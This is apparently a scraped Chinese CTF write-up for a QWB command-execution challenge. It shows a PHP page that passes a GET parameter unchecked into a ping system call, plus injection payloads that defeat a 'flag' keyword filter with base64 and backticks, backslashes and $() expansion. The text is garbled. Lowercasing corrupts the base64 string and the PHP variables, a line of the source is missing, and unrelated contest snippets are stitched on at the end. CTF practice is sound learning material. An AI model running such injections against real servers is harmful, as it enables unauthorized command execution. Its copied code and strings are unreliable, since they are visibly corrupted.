第四屆 強網杯 主動

2021-10-23 18:13:35 字數 1407 閱讀 5390

注意⚠️此題是「命令執行繞過」,不是「**執行繞過」

下發題目開啟,拿到原始碼

<?php 

highlight_file("index.php");

if(preg_match("/flag/i", $_get["ip"]))

system("ping -c 3 $_get[ip]");

?>

傳入的引數如果匹配到了flag字元就輸出「no flag」

測試一下,發現flag.php就在當前目錄

如果要輸出flag.php的內容,我們要構造payload:?ip=;cat ./flag.php 但是flag被過濾了

我們可以用base64編碼繞過

將./flag.php 轉換成base64編碼形式

li9mbgfnlnbocao=
因為要輸出當前目錄的flag.php內容,我們還需再把編碼形式轉換回來再執行

構造:

echo 'li9mbgfnlnbocao=' | base64 -d
(注意:linux系統在終端d要換成大寫d,否則無法執行)

但是要讓這一步被執行我們還需借助乙個符號——反引號 `

反引號 ` 在linux命令列中起著 命令執行的作用 ,即將轉換好的base64編碼反回到命令中再執行

最終payload:

?ip=;cat `echo 'li9mbgfnlnbocao=' | base64 -d `
顯示網頁源**

flag = "flag
#其實還有更簡單的方法

1.利用引號繞過(單引號雙引號都行)

2.利用變數去賦值繞過

(payload中也可以去除./ ,後面的我就不加了)

?ip=;cat fla\g.php
?ip=;cat fl$(9)ag.php
還有多種方法就不一一枚舉了。

第四屆 強網杯 upload

將之前儲存的steghide.bin用winhex開啟,可以看到檔案中包含http請求資訊以及我們的資訊,還有檔案結尾的尾部資訊。我們需要做的事情是確定檔案的原始資訊頭和尾,並去掉多餘的部分。apt get install steghide檢視中是否有嵌入檔案的資訊 這裡需要密碼驗證,密碼12345...

第四屆藍橋杯 高斯日記

大數學家高斯有個好習慣 無論如何都要記日記。他的日記有個與眾不同的地方,他從不註明年月日,而是用乙個整數代替,比如 4210 高斯出生於 1777年4月30日。在高斯發現的乙個重要定理的日記上標註著 5343,因此可算出那天是 1791年12月15日。高斯獲得博士學位的那天日記上標著 8113 請你...

藍橋杯第四屆總決賽

a 村的元宵節燈會上有一迷題 0 1 2 0 3 4 5 3 1 請猜謎 請猜謎 請邊賞燈邊猜 小明想,一定是每個漢字代表乙個數字,不同的漢字代表不同的數字。請你用計算機按小明的思路算一下,然後提交 請猜謎 三個字所代表的整數即可。請嚴格按照格式,通過瀏覽器提交答案。注意 只提交乙個3位的整數,不要...